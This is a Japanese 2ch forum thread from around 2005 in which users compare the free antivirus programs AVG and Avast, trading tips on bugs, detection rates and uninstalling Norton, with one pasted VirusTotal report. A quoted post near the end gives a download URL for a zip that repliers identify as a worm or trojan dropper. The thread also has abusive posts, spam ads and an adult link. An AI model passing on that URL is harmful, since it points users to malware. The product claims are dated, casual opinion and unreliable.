環境が環境なので、ウィルスの検出性能よりも使用メモリ量の少なさ、
の観点で決めたいと思っています。

AVG

違うものを出すのは心苦しいがAVPECはどうか

eTrustが良いよ。サーバーにもインストールできるし。

>800〜804

ATOK15を入れてると相性が悪いらしくシャットダウンできないのは
有名。
性能や見た目でAVGよりAvastの方が良いのは分かってるけど
仕方なくAVGを使ってる。

シャットダウン出来ない奴で、怪しいと思われるソフト名を
挙げないか？

俺は思うんだけど、毎年ウィルスソフトに数千円費やすなら、
1.5万円くらいでルータ（無線ルータ）を買って、
ウィルスソフトは無料のAvastやAVGを使った方が賢いかなと。

すいません
ルータの話が出るのはFWなら分かるが
アンチウイルスとは何の関係もない

Bフレッツだからルーターなんて680円ので十分

ATOKの相性どうこう以前にavast自体にシャットダウンの問題がある

確か、アメリカのパソコンの８０％ぐらいは
電源が落とされないそうだ（ｗ

やたら、作動状態でパワーセーブ機能がつくのは
そのためらしい。

日本では退社時には全部電源を切るから、大して意味ない。
そういう文化の中で培われたソフトということだろ。

GrisoftもAlwilもチェコの会社だったりするのだが

客層と何の関係があるの？

>>825
ﾜﾛﾀ

ところで
メロンパンて美味しいよな？

うるせーデブ

甘いパンはあまり好きではない

ピザでも食ってろ

ピッツァ

ジャグァ

avastとzonealarm同時に使って問題ないですか？

問題ない。
Webプロバイダの一部の機能が無効になるだけ。

>>834
ノートン2006までの繋ぎでその組み合わせで使ってる

サンクスです

AVG無料版インスコして五日目だけどコレ許可求めるの激しいやね
毎回「設定保存する」にチェックして同意しても次回起動時にはまた許可求められる
使ってる人はウザイと感じないのかな

>>838
何のこと？
うｐデート後のOKってボタン？

FWの設定が間違ってる悪寒

「〜に接続しようとしています」ってやつね

FW

FWか

ああFWだ

ﾄﾝ　FWで解決しますた

avastのシャットダウン、バグうざいな
最近急にシャットダウンできなくなったと思ったらこれが原因だったらしい・・・
今まで大丈夫だったのに何故急に('A`)

　↑
これまで、散々「PCのスペックのせいだ」と、けなしてた人

>>846
ようこそ　こちらの世界へ

avastは謎の環境依存バグが多すぎる。
選ばれたものしか使えねー。

だからExitA使えと

Xp　sp2　でavast使ってるがパソコンの動作の不具合はまったくと言ってよいぐらいないな。
もっとも、どのくらい有効に機能してくれているのかもあまり実感できないが。

AvastもAVGも検出力ではたいした差はない。
例えばBitDefenderと比べたら両者はほとんど同じと言ってもいいくらいだ。
従って、どっちを使っても良いが非常駐のBitDefenderで保険をかけるというのが結論。

だいたい普通に使ってる分には、ほとんどウィルスに引っかかることはない。
というか正確に言うとどっちを入れても名の知れたウィルスには対応しているので
よっぽどの事がない限り引っかからない。

細かい事に拘るのは自ら無防備を選んだ癖に臆病なﾀﾞｳｿ厨くらいだよ。

シャットダウンに別ソフトわざわざ使うとか何その糞仕様

BitDefender買うのが一番良いんだがこのスレの趣旨には反するか

>>853
仕様っつーかバグ？
てーか日本語環境だけなのかなぁ？、英語版でも一緒なら
もう少しがんばりましょう、って感じだよな

>>855
レジストリ汚したままになってるとか、
ほかのAVちゃんとアンインストしてないとかで
おかしくなってるんじゃないの？
うちじゃまともにシャットダウンできてるし

だか、環境によるんだって。
atokが入っている環境での不具合報告が多いようだけど、
入っていても普通にシャットダウンできてる人もいる。

英語圏のフォーラムでは問題になっていないようなので、
何かしらの日本語環境と関係があるっぽいが。

●..●...●●...●●●●...●●.....●.●●.●..●.●●●....●●●...●.●.●●

ウイルス対策ソフトの検出力結果
http://www.geocities.co.jp/SiliconValley-Cupertino/2010/security.html

●●..●..●●.●●....●.●●.●.●●●●●..●.●●●...●..●●.●....●●

avast!って画面が汚いよな

fontは見にくいかもな

思い立って両方入れてみた。更にAntiVirも入れてみた。
どんな不具合が出るかと思ったら、avast起動中はエクスプローラが遅くなるだけ
（avast単独よりも明らかに遅い）。ナルヘソ。

問題は３本それぞれが他のソフトが見逃したウイルスを検知したことだorz

>問題は３本それぞれが他のソフトが見逃したウイルスを検知したことだorz
ワロス

BitDefenderじゃ、そのウイルスは検出できた？

>>862
BitDefenderは未導入。今日にでも入れてみるッス。

＞問題は３本それぞれが他のソフトが見逃したウイルスを検知したこと
それは利点じゃないの？「他のソフトが見逃した」って部分が有難い。
複数が同じ対象を一緒に検知鬱陶しいってなら分かるが。

一個のソフトで全部を検出できるなら、その方が望ましいだろ

>>865
そんなのがあればな w

>>866
>>861が言ってるウイルスぐらいなら、KAVかBitDefender一個で検出できてるんじゃね？

まぁ、ここはAVGとAvastのスレなんでスレ違いだが。

>>867
>>861が言ってるウイルスが何か分かるのか？
スゴイなお前

>>868
あくまで可能性の問題だよ。
フリーの検出力がさほど高くないソフトで一応検出できるぐらいのウイルスだからな。

てか>>866のレスが見当はずれなんだよな。
元の話はあくまで>>859からの流れであって、それぐらいなら一つで検出できる
アンチウイルスが存在しててもおかしくはない
別に、今ネットに流れている全てのウイルスに対して一つで対応できる
アンチウイルスの話にしてるんじゃないんだから

>>870
なんか基本的に間違ってないか？
avast, AntiVirの検出するもの全てを
KAVが検出できるって前提にたってるだろ？

ベンダーはみんな自分の所で定義ファイル作ってるわけで、
検出率の高いものが低いものを包含してるとは言えないんだよ
重複する部分はあっても、重複しない部分もあるのが普通なわけ
検出率の高いものは他のと重複する部分が大きいかも知れないけどね

思うに、本当は３個それぞれ検知するのだが、最初の１個が検知して駆除か削除しちゃうから
残りの２個は検知せず。
試しに、有名どころのウィルス入れてみな彩。

あーその、俺は検証の為じゃなくてなんか思いつきで色々入れてみたんだけどね。
avastでスキャン生活→AVGに切り換えてみたら他のが見つかった→AntiVirも入れてみたら更に検知した→
MYDOOMガードに失敗→avast復活　という流れ。
週末にBitDefenderでスキャンしたら流石にノーヒットだった。


問題は俺のＰＣが素でウイルスまみれだったこと(´･ω･`)
普段オフラインだからすっかり油断してた。

つまり「３本それぞれが他のソフトが見逃したウイルスを検知した」というのは
正確には間違い。そこはゴメン。

AVGアップデート重すぎじゃないか？

AVGのアップデートは6のときから重くなった希ガス
それが嫌になってavastに映ったわけだが

age

avg

英語がわかるなら確実にAVG。
まったく出来ないならavast

どっちも日本語での解説ページがあるんだし、単純な操作しかないから、
英語力なんか関係なし。

じゃあAVGの方が確実に良い。

>>881
根拠は？

【悪質ピーコ売り】
http://openuser.auctions.yahoo.co.jp/jp/user/olias_jp


●ヤフー通報フォーム
http://auctions.yahoo.co.jp/html/check.html

●オークションＩＤ
k22280104、h28584126、b60848954、m17827328

●違反と思われる理由
新品と記載しているが実は海賊版ソフト販売ページに誘引

とにかくAVGの方がくそにきまってるだろ　。
だからアヴァスタは使うな。

それぞれの環境に因るだろ

>>882
じゃあっていってるんだから、前に答えがあるわけで根拠は？って質問はおかしいよな

英語分かるからAvastの英語版を使ってるけど何か？

Congratulations.

絶対に使ってはいけない糞フト一覧
どれもこれも似たり寄ったりの糞フトで本当に愉快ですね(^Д^)

Kaspersky
ノートン
ウイルスバスター
NOD32
AVG
avast
AntiVir
eTrust
ClamWin
BitDefende
F-Prot for DOS
アンチドート
マカフィー
ウイルスキラー
ウイルスセキュリティ
ウイルスドクター
ウイルスチェイサー

ちょｗｗｗｗｗｗｗｗｗｗｗｗ

>>889
それをコピペして初心者板に逝ってこい

質問スレでもないのに本当に申し訳ないっす。
俺、今日で最初からｲﾝｽｺされてたNorton Antivirus 2005の使用期限です。
ここ見てAvast!4ｲﾝｽｺしようと思てますが、NAｱﾝｲﾝｽｺした方がよいでつか？
消してもなんかゴミが残るとかいうし、ｱﾝｲﾝｽｺしてからの対処の仕方がわかんないんで、
優しく偉い使徒教えて栗〜 (´Д⊂)゜。

avast入れる前にノートンを完全にアンインストールしないと失敗するよ
ノートンのアンインストールはリカバリするのが一番だと思う
プログラムの追加と削除からだけだと不完全で、問題出ること確実
ノートンのアンインストールツールって出てなかったっけか？

ノートンの完全なアンインストールは素人には難しい
…嘘。熟練者にも。

avast!4って、なんかZAと合わない所があるみたいだなぁ
かまわず続行してるけど・・・今んとこ無問題？
うーん

>>895
透過プロキシ無効になってるだけで、スキャンはしてるんだから無問題。
おじいちゃんとこの解説よんでそれでも不安なら、avastやゾネを他に切りかえれ。

TrueImage8.0(日本語版)で誤検出しやがる。最悪

>>897
パス付きZIPで送らないと直らないよ
愚痴る暇があれば、さっさと送れ

>>893>>894
どのみち時間無かったから、やぶれかぶれでNortonを追加と削除からｱﾝｲﾝｽｺしますた。
んで、avast!4ｲﾝｽｺしますたが、な〜んか一抹の不安が…

例えばどんな不具合が出ますか？まぁここまできたら出たとこ勝負、なるようにしかならんのだが…

バックうpすんの忘れゃ(ry orz

>>899
同じことしたけど今のところ不都合なし。
たまにシャットダウンできないがavastが関係しているかどうかはわからない。

>>900
サンクス。

関係なけど、さっき久しぶりにディスクスキャンとデフラグかけたら、Firefoxが枠しか表示しないし窓の手出設定したアイコンも全て消えてる…

;i||i〇|￣Li||i;

とりあえず日本語が出来るということでavastをMeに放り込んで半年
普通に使っている分には十分だな

とりあえずＡＶＧとSygateで使用中，特に問題なし。近々KERIOを
試してみます。

て言うかアンチウイルスソフトの常駐はいらないしね。
無駄にリソースを食うだけ。

AVG Avast OSごとに両方使っているんだが..

>>904
俺も最近つくづくそう思うようになり、Bitdefenderのコマンドライン版にした

>>889
ウイルスセキュリティは使えるって言うことですか？
買ってきます＾＾

AVGはavast!に比べてウイルスの検出力が低く日本語化出来ないので使えません。
なんで日本人なのに日本語バージョンがないAVGを使うのか全くわけがわかりません。

低くもないよ

>>907
だうと。下から3番目

ところでAVGとAvast!とAntiVirも加えて、ブラウズ中にかかるウィルスにリアルタイムで一番対処できそうなのはどれでしょうか？

初心者厨房には日本語表示が魅力的なAvasｔ！の使用をお勧めしています。

avast　標準とwebメールの二つだけ入れてるけど
これとAVGだとどっちが軽いの？
ZAと併用だけどなんか重くて (WinXP Athlon1800+ 512MB)

>>912
そりはZAが重いの

Intel、チェコのセキュリティ企業Grisoftに出資
ttp://www.itmedia.co.jp/enterprise/articles/0509/07/news022.html

AVGの勝ち

ﾁｮｺﾚｰﾄかとｵﾓﾀ

>>914
淫�рｪクズだからAVGの負け

AVG使いだが、Intelとくっつくのは困る。

Avastは、ノートンみたいにアンスコしてもゴミが残って不具合が引き起こすような事はありませんか？
ちゃんと綺麗さっぱりににアンスコ出来ますか？

avastに限らずレジストリは多少の差はあれ汚れる。

>>914
CPUがAMDだとスキャンが遅くなるバージョンとか出してきそうでヤだなあ

>>918
専用のクリーナーが公式にあるのでいざという場合はこれを使うとヨロシ
ttp://www.avast.com/eng/avast_uninstall_util.html

何がおきても自分で対処できるならどっちでもいい

そもそもここを全ログ表示させると、Win32:Mhtplo-26 と出てしまう件について．．．

>>923
avast!の話なんやろうけど、
2chブラウザのログフォルダを例外指定すればええやん。

専用ブラウザや無い……なんて弩厨房は無しな。

件名はいいから本文を書いてくれ

そんな貴方に
中国市場占拠率No.1総合セキュリティ対策ソフト
「キングソフトインターネットセキュリティ2006」（中国名「金山毒覇」）
サポート掲示板も充実してます。
公式HP
http://www.kingsoft.jp/

>>926
ZoneAlarmとavast使ってますが
キングソフトインターネットセキュリティ2006と比較してどうですか？

>>927
サポート掲示板に喜びの声が多数寄せられています。

ﾜﾛﾀをやろう

「キングソフトインターネットセキュリティ2006」（中国名「金山毒覇」）

キンタマなどは未対応
検出率も低い
よって、AVG/ava継続決定

>>930

決定だよね。　そうそう。

>>926

サポート Q&A
を読むと使う気が起きないが、読むと面白い。

>>930
一応、アンチニーは検出するらしい
【100万本】ｷﾝｸﾞｿﾌﾄｲﾝﾀｰﾈｯﾄｾｷｭﾘﾃｨ2006【無償】3
http://pc8.2ch.net/test/read.cgi/sec/1127835435/233

俺はそろそろキング使おうかと本気で考えている。

>>930 JWARDみたいなのが　山盛りだったりして

;;

ＡＶＧが良いと思うけどなぁ・・・。

>>937
しー、それは心の中で思っておけばいいんだよ。

英語が出来ない俺にはavast
英語が出来る彼女にはAVG

>>939
それは至極尤もな所だね。実際問題avastに慣れてしまったので
個人的には良いソフトだと思う。一応マカフィーを使っていたが、
継続使用は現状必要ない状況である。
＝キングソフトからすれば、どちらも名品であると言うことだろうか。

avastを終了させるのって、タスクマネージャーからしかできないの？

avastスレのテンプレ見るがよろし

以前、感染した下記のウイルスを各アンチウイルスエンジンでチェックしてみました。
McAfee BackDoor-CUP http://vil.mcafeesecurity.com/vil/content/v_136126.htm

This is a report processed by VirusTotal on 10/09/2005 at 18:43:20 (CET)
afterscanning the file "volumec.000" file.

Antivirus Version Update Result
---------------------------------------------------------------
AntiVir 6.32.0.6 10.09.2005 BDS/Webdor.AF
Avast 4.6.695.0 10.08.2005 no virus found
AVG 718 10.06.2005 BackDoor.Generic.OLD
Avira 6.32.0.6 10.09.2005 BDS/Webdor.AF
BitDefender 7.2 10.09.2005 no virus found
CAT-QuickHeal 8.00 10.09.2005 Backdoor.Webdor.af
ClamAV devel-20050917 10.08.2005 no virus found
DrWeb 4.32b 10.02.2005 no virus found
eTrust-Iris 7.1.194.0 10.09.2005 no virus found
eTrust-Vet 11.9.1.0 10.07.2005 no virus found
Fortinet 2.48.0.0 10.09.2005 W32/BDoor.AF-bdr
F-Prot 3.16c 10.08.2005 no virus found
Ikarus 0.2.59.0 10.07.2005 no virus found
Kaspersky 4.0.2.24 10.09.2005 Backdoor.Win32.Webdor.af
McAfee 4600 10.07.2005 BackDoor-CUP
NOD32v2 1.1246 10.07.2005 no virus found
Norman 5.70.10 10.07.2005 no virus found
Panda 8.02.00 10.09.2005 Bck/Webdor.AT
Sophos 3.98.0 10.09.2005 no virus found
Symantec 8.0 10.08.2005 no virus found
TheHacker 5.8.2.120 10.09.2005 Backdoor/Webdor.af
VBA32 3.10.4 10.09.2005 Backdoor.Win32.Webdor.af

avastとキングソフト一緒に入れたらパソコン起動しなくなった(パスワードを打ってログインしている途中にフリーズ)

アンチウィルス系のソフトを複数一緒に入れるなよ

そうだ
しかもキングは
累計ダウンロード数=アクセスカウンターのインチキだぞ

>>943
http://www.fz-juelich.de/zam/net/security/software/f-prot/virlist.txt

ts

>>1
　　　,.、,､,..,､､.,､,､､..,_　　　　　 　／i
　　;'｀;、､:、. .:、:,　:,.: ::｀ﾞ:.:ﾞ:｀''':,'.´ -‐i
　　'､;: ...: ,:. :.､.:',.: .:: _;.;;..; :..‐'ﾞ ￣

http://otona-only.com/uzura/

シナ製ウイルスキラーからavastに替えた

ログ拾ったらavastからなんか警告が(^-^;;
って>>923で既出だったか。

ヴァスダック、Grisoft AVG シリーズを個人ユーザー向けに無料配布
http://japan.internet.com/webtech/20051017/5.html

常駐保護・・・avast
ウイルス検索・・・Bitのコマンドライン板

>>952
>>同社では今後1年間で AVG Anti-Virus Free Edition を100万本無償で配布
　
　ってどういう意味なんだろうか？

>>954
1年間でそれくらいの数のダウンロードを見込んでいるってことでしょ。
100万本配布したらフリー版はなくなるってことではないだろう。
でも、すでにAVG使ってる人は使ってるわけで、日本語版が出たわけ
でもあるまいし、100万本ダウンロードされるものかな？

これでAVGも日本語化決定だな。
これまで英語分かんない香具師はAvast、俺は英語分かるから
AVGって言ってた香具師は、次はどのソフト入れるんだろうか？
楽しみだ。

はぁ？

てめえらのようなクズ野郎どもは
エボラウイルスに感染して死ねよ

確か、検出力はavastが若干上だったよな。機能も豊富だし。
ただ若干重い。あとAVGは、あのウイルス検出したときの絵が好きだな。
つか検出力はそんな極端には変わんないし、手軽なソフト求めてんだったらAVGだろ
英語なんてお前、中学生程度の学力で十分だぞ？
P2Pとかやるならavastだけど。標準で監視機能付いてるから。
あとスキン変えて色々楽しめる。あれは面白い。

英語だが軽く使いやすく相性は出ずAvastより検出力が少し劣るAVG
日本語だが少し重く使い辛く相性出まくりだがAVGより検出力が少し高いAvast

ってとこか

AVG Proはどうなんだろう？Freeよりうｐがしやすいって以外あまり
違いはないのかな？

avastって重いよなぁ・・・

でもこっちの方がＡＶＧよりは発見率がいいらしいから
デスクトップでavast、ノートでＡＶＧ、と、両方を使ってる。



でもやっぱ、ＡＶＧの方がサクサクでいいね・・・
どっちか取れと言われたら迷わずお手軽なＡＶＧにする

もしAVGの日本語版が出ても、英語版より動作が重くなっていたりしたら、
英語版をそのまま使い続けたほうがいいな。

avast! 使ってると HDD の寿命が縮みそうな気がする人、
私以外にも居るんじゃない？

>>963
日本語に対応したら
即・・有料化。

>>964
マルチ乙

>966
avast板より、こちら向きの話題だろうと思って直下にスルーして下さい
と書いたんだけど、こちらは人が少ないみたいですね…

avast は2バイト文字に対応していると言う事で AVG を削除して入れてみたんだけど
AVG の常駐保護よりも頻繁に HDD にアクセスしているようなので気になってしまって。
有名なウイルスへの免疫力は大差無いようだから、それほどヤバイ事をしていなければ
AVG でも良いのかなと。

avastのスキンの「日本」をテーマにしたﾔﾂ、「アムール」ってのは日本と何の関係が？

アムールなみえ

AVGとAvastでは危険っぽいけど未知のプログラムに対応できるのは
AVGのほうだけなんですか?

avast にも一応、ヒューリスティック解析機能を搭載しているようだけど、
AVG の機能とは少し違うらしい。

ttp://kiyo.chips.jp/blog/archives/2005/08/post_172.html

>>970
それと、危険に遭遇する最大の要因は自分の心掛けと行動次第だって事を
肝に銘じておくべき。

どちらも甲乙付けがたい程の


　　　　　　　　　　　　　　□　　　　　　　高級品　　　　　　　□

どっちのソフトが良いか云々はともかく、両ソフトの板を見比べると
avastを使いたいとは思わなくなるなぁ。

ソースのウイルスセキュリティと比較して，これら２種類はどうですか？

>>975
ソースがトイレの沈殿物だとしたら、これら二つは六甲の美味しい水。

>>975-976
ネタ

>>977
シャリ

>>975
まあなんだ

ソースを今年の佐藤○磨とすれば

あとの二つは中○悟と鈴木亜○里ってところか

>>979
どっちもだめじゃん

>>980
フリーウェアに何を求めてるんだ？

980はもっとすごいアンチウイルスソフトを作れると思ってるんじゃないの？ｗ

タスクマネージャで、プロセスのとこが
exeで埋め尽くされてるんでつが、、これってウイルスなんですか？(;´Д`)ﾊｧﾊｧ


エロイ人教えてください,,,(´･ω･`)

とりあえず、タスク画面晒してみ。

>>984
違うスレで問題解決しました。　
どうやら自分、バイオ使ってるんですが、
それの更新みたかったみたいです。　　
お騒がせしました。。。

ありがとう御座います(･▽･)ﾉ

初心者なんで、(((；ﾟД ﾟ)))ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ

でした♭　どうもですヽ(*´ー｀)ノ　

917 名前：名無しさん＠お腹いっぱい。[] 投稿日：2005/10/28(金) 14:40:44
ttp://www.fox-er.com/up3/src/fox1479.zip
これ、トロイですか？

918 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/10/28(金) 15:07:42
>>917
W32.Pokey.Worm

919 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/10/28(金) 16:30:52
>>917
AVGできゃっちしますた

920 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/10/28(金) 16:45:27
>>917
BitDefenderだと
Trojan.Dropper.Winny.A

921 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/10/28(金) 17:49:16
>>917 NOD32だとWin32/TrojanDropper.VB.NAM

927 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/10/29(土) 00:25:57
>>917
avast!では検出出来なかった。

Vpsのverは0543-2

>>987
検出しなくて正解だろ？

WinRARで解凍　→　サイズ０
WinXP標準機能で解凍　→　エラー（ファイルが壊れている）

普通、解凍してできるファイルがウィルスに感染してるかチェック。
（自己解凍形式のときは、原則は解凍後のファイル検査だが、単にウィルスの実行ファイル
かも知れないから、そのままでも検査）

このファイルは、ZIPファイルの一部をウィルスのパターンファイルに変えただけだから、
意味なし。
ウィルス部分を取り出して Abast で検査させてくれ！